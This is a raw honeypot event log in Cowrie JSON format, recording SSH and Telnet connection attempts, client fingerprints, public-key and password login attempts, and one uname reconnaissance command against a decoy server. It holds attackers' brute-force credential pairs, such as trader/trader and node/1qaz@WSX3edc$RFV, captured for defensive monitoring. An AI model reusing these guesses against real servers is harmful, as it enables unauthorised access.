{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:25:30:59:06:fd:9b:2c:4b:19:3c:23:50:05:99:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwWZG3bYxX2OtffOpgU9TrxmhrgnTl/IUeG8vLHVyhMgsDi2ybJHUrZ5N8b66QOKGvW7CBC0EN5yIpqNbR+wDiRc+Vwb2qiudoyciYb4Jin3FuMkpnoTSQHcz0QOGiiTT+z6bY13u5s6oRx9ZrnEHC9/y03NjwR/k4FpFQbOPOwWyrhPClwBsGqwIpFr55nYNEcvGDyQuV4ZZdKeb5QV25XMGldWmOvm0+vLHk0BPOEFNTeSsq6k2iK2L5OICu/zvk/zB3KksqWXuHGlF2dPs/veghlaIilLsT9QFE7rKganvtffukdV3tv2cr1oQKJcpag8WgSCuWjYFK1V7Ne1MJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:45.564290Z","src_ip":"186.251.133.104","session":"49de593b3f16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:e9:1e:7e:60:f5:ce:7a:40:e8:2f:e3:1e:eb:56:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArxq3LEOzw4iIXi7KwifP6ktp8PX972e2wDKx9T0vTKHrlruMls/Jl696k6mDrmXEh6HlmU/hdY5xz7XWs9v1Z68TCmfHC0HDubkW2jSmYg/yN9+WNFKIUVqmuCo2hgH7lwa4VfzamfwGuiBdk7L9visucw9/WK7MnCJHHovBnJALUSdhTaxzCaF72ZYQyOIvukKaZEZhmIG27xrPaN7DLu5QAXW5JF0SbAlJ7VUcj5hzZn3UhBR6T6tb99qGXUsO3Eu/9A+Pl4Fftogyz1lUan6jiX2wu9E7ZEDKJhASPcmNr5gvzh5SQDdGRCaJhXu3J9hD1tJeYJdBfoehKY7/gw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:e9:1e:7e:60:f5:ce:7a:40:e8:2f:e3:1e:eb:56:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:45.685613Z","src_ip":"186.251.133.104","session":"49de593b3f16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:e9:1e:7e:60:f5:ce:7a:40:e8:2f:e3:1e:eb:56:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArxq3LEOzw4iIXi7KwifP6ktp8PX972e2wDKx9T0vTKHrlruMls/Jl696k6mDrmXEh6HlmU/hdY5xz7XWs9v1Z68TCmfHC0HDubkW2jSmYg/yN9+WNFKIUVqmuCo2hgH7lwa4VfzamfwGuiBdk7L9visucw9/WK7MnCJHHovBnJALUSdhTaxzCaF72ZYQyOIvukKaZEZhmIG27xrPaN7DLu5QAXW5JF0SbAlJ7VUcj5hzZn3UhBR6T6tb99qGXUsO3Eu/9A+Pl4Fftogyz1lUan6jiX2wu9E7ZEDKJhASPcmNr5gvzh5SQDdGRCaJhXu3J9hD1tJeYJdBfoehKY7/gw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:45.689852Z","src_ip":"186.251.133.104","session":"49de593b3f16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:2e:df:ac:f0:e1:21:42:2d:b6:79:ef:da:0c:6c:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwgBsRVGDUl2h1WQtN4c1xYtOMVqZ/G2G+qvLNRwZMw19T0t7leRe+4tfBml1Z/CG2C0035kcFyLkOqdqiMHgn29Ig1MXg1xIKLVMKOc4ZnZYXCd5zzpUOcnz4bJr1n0iVRylnF0/7YqkNwP2/aDl+uXEZtM1WpNJkSOXjaZH+WF5WYEV+cQraiL9XwyMzzRTwn5iNE1CEbl8WpMoer9k1dPooCq3VSHb4TbVIw9gV+jM6j2iKBMtGbIyCWBG4UswSzXQ3+N/fqZ/CmDH36jLyUagTfz2mhzZoidYNxJXLQbF2ywE35aRlQ155kTe5enfTCp/PzLLDHQ7LQyeteiv8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:2e:df:ac:f0:e1:21:42:2d:b6:79:ef:da:0c:6c:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:45.833866Z","src_ip":"186.251.133.104","session":"49de593b3f16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:2e:df:ac:f0:e1:21:42:2d:b6:79:ef:da:0c:6c:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwgBsRVGDUl2h1WQtN4c1xYtOMVqZ/G2G+qvLNRwZMw19T0t7leRe+4tfBml1Z/CG2C0035kcFyLkOqdqiMHgn29Ig1MXg1xIKLVMKOc4ZnZYXCd5zzpUOcnz4bJr1n0iVRylnF0/7YqkNwP2/aDl+uXEZtM1WpNJkSOXjaZH+WF5WYEV+cQraiL9XwyMzzRTwn5iNE1CEbl8WpMoer9k1dPooCq3VSHb4TbVIw9gV+jM6j2iKBMtGbIyCWBG4UswSzXQ3+N/fqZ/CmDH36jLyUagTfz2mhzZoidYNxJXLQbF2ywE35aRlQ155kTe5enfTCp/PzLLDHQ7LQyeteiv8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:45.838305Z","src_ip":"186.251.133.104","session":"49de593b3f16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:a9:b7:69:2a:ea:d4:78:67:7a:29:71:16:3f:3f:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvaTWcBSMDgEe/+RD0AcFfUqOpF6lnqBKVt10FR2WVQwaQRAacWGZZm8sDp3AhiBA/yOBdG/FYBiQHI7/fKsC3Saz2z1MIfetWrEA5hSaVZhUdtkXJob4trJ3yFyu5TlB5OK8LyTPR5RiQanm3fy5zzT6vGDaWKOWTcfkSBQpFTfnwcllfjUdWiuHzzoBSHMtg1NRLU4KSELgJdadrQi3+iJBWLzdJdDV0DCndsVN+Kbp3KtwuSVkicBWTazohh5m6Z1dN+nIJB5AypC2B/2fA0OeYpm9DYQMravLV2zxnBxptCbRuxnyrDNUP35lRSLgp171MAS5eAKcNH64y7axFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:a9:b7:69:2a:ea:d4:78:67:7a:29:71:16:3f:3f:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:45.964961Z","src_ip":"186.251.133.104","session":"49de593b3f16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:a9:b7:69:2a:ea:d4:78:67:7a:29:71:16:3f:3f:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvaTWcBSMDgEe/+RD0AcFfUqOpF6lnqBKVt10FR2WVQwaQRAacWGZZm8sDp3AhiBA/yOBdG/FYBiQHI7/fKsC3Saz2z1MIfetWrEA5hSaVZhUdtkXJob4trJ3yFyu5TlB5OK8LyTPR5RiQanm3fy5zzT6vGDaWKOWTcfkSBQpFTfnwcllfjUdWiuHzzoBSHMtg1NRLU4KSELgJdadrQi3+iJBWLzdJdDV0DCndsVN+Kbp3KtwuSVkicBWTazohh5m6Z1dN+nIJB5AypC2B/2fA0OeYpm9DYQMravLV2zxnBxptCbRuxnyrDNUP35lRSLgp171MAS5eAKcNH64y7axFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:45.969527Z","src_ip":"186.251.133.104","session":"49de593b3f16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:46.092431Z","src_ip":"186.251.133.104","session":"49de593b3f16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.0007810592651367,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:48.117884Z","src_ip":"66.132.195.126","session":"6ce6775dbf64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.126","src_port":52416,"dst_ip":"10.17.0.5","dst_port":23,"session":"e98fa9ab69ce","protocol":"telnet","message":"New connection: 66.132.195.126:52416 (10.17.0.5:23) [session: e98fa9ab69ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:51.141418Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58462,"dst_ip":"10.17.0.5","dst_port":22,"session":"95b3c464ef9c","protocol":"ssh","message":"New connection: 2.57.122.208:58462 (10.17.0.5:22) [session: 95b3c464ef9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:53.652261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:53.884086Z","src_ip":"2.57.122.208","session":"95b3c464ef9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:53.888621Z","src_ip":"2.57.122.208","session":"95b3c464ef9c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:55.257268Z","src_ip":"2.57.122.208","session":"95b3c464ef9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:55.874403Z","src_ip":"2.57.122.208","session":"95b3c464ef9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:55.878089Z","src_ip":"2.57.122.208","session":"95b3c464ef9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:56.295557Z","src_ip":"2.57.122.208","session":"95b3c464ef9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:56.301088Z","src_ip":"2.57.122.208","session":"95b3c464ef9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.000110149383545,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:01.141425Z","src_ip":"66.132.195.126","session":"e98fa9ab69ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.100866556167603,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:03.594223Z","src_ip":"66.132.172.99","session":"2e5b6486f072","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.99","src_port":48888,"dst_ip":"10.17.0.5","dst_port":23,"session":"efdc31ceb62d","protocol":"telnet","message":"New connection: 66.132.172.99:48888 (10.17.0.5:23) [session: efdc31ceb62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:07.335588Z"}
{"eventid":"cowrie.session.closed","duration":1.2205853462219238,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:08.556025Z","src_ip":"66.132.172.99","session":"efdc31ceb62d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.99","src_port":48916,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6567cfe18f9","protocol":"telnet","message":"New connection: 66.132.172.99:48916 (10.17.0.5:23) [session: a6567cfe18f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:08.579004Z"}
{"eventid":"cowrie.session.closed","duration":0.784151554107666,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:09.363024Z","src_ip":"66.132.172.99","session":"a6567cfe18f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.99","src_port":48920,"dst_ip":"10.17.0.5","dst_port":23,"session":"12babc27f51d","protocol":"telnet","message":"New connection: 66.132.172.99:48920 (10.17.0.5:23) [session: 12babc27f51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:09.383080Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.50","src_port":10490,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e83a47b17ef","protocol":"telnet","message":"New connection: 66.132.195.50:10490 (10.17.0.5:23) [session: 7e83a47b17ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:11.723530Z"}
{"eventid":"cowrie.session.closed","duration":3.1986000537872314,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:12.581553Z","src_ip":"66.132.172.99","session":"12babc27f51d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.99","src_port":47806,"dst_ip":"10.17.0.5","dst_port":23,"session":"056bc7f59d0a","protocol":"telnet","message":"New connection: 66.132.172.99:47806 (10.17.0.5:23) [session: 056bc7f59d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:18.255694Z"}
{"eventid":"cowrie.session.closed","duration":15.027664422988892,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:26.750907Z","src_ip":"66.132.195.50","session":"7e83a47b17ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.364344596862793,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:28.619927Z","src_ip":"66.132.172.99","session":"056bc7f59d0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.50","src_port":45562,"dst_ip":"10.17.0.5","dst_port":23,"session":"02ab2b7dbffe","protocol":"telnet","message":"New connection: 66.132.195.50:45562 (10.17.0.5:23) [session: 02ab2b7dbffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:29.774716Z"}
{"eventid":"cowrie.session.closed","duration":3.000476121902466,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:32.775052Z","src_ip":"66.132.195.50","session":"02ab2b7dbffe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.50","src_port":45634,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ab79bf2dcdb","protocol":"telnet","message":"New connection: 66.132.195.50:45634 (10.17.0.5:23) [session: 2ab79bf2dcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:35.804282Z"}
{"eventid":"cowrie.session.closed","duration":10.000320434570312,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:32:45.804430Z","src_ip":"66.132.195.50","session":"2ab79bf2dcdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":58790,"dst_ip":"10.17.0.5","dst_port":22,"session":"c99fe7d94b85","protocol":"ssh","message":"New connection: 103.15.226.202:58790 (10.17.0.5:22) [session: c99fe7d94b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:33:36.633847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:33:36.639042Z","src_ip":"103.15.226.202","session":"c99fe7d94b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:33:36.889945Z","src_ip":"103.15.226.202","session":"c99fe7d94b85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"1qaz@WSX3edc$RFV","message":"login attempt [node/1qaz@WSX3edc$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:33:37.654122Z","src_ip":"103.15.226.202","session":"c99fe7d94b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:33:38.906153Z","src_ip":"103.15.226.202","session":"c99fe7d94b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.6.128","src_port":44770,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd5e726f4d70","protocol":"ssh","message":"New connection: 116.110.6.128:44770 (159.203.135.109:22) [session: dd5e726f4d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:34:12.592833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:34:15.874475Z","src_ip":"116.110.6.128","session":"dd5e726f4d70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:34:16.715795Z","src_ip":"116.110.6.128","session":"dd5e726f4d70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"squid","message":"login attempt [squid/squid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:34:17.815849Z","src_ip":"116.110.6.128","session":"dd5e726f4d70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:34:20.259077Z","src_ip":"116.110.6.128","session":"dd5e726f4d70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":56349,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4110b04f151","protocol":"ssh","message":"New connection: 213.209.159.56:56349 (159.203.135.109:22) [session: b4110b04f151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:34:54.795337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:34:54.853674Z","src_ip":"213.209.159.56","session":"b4110b04f151","protocol":"ssh"}
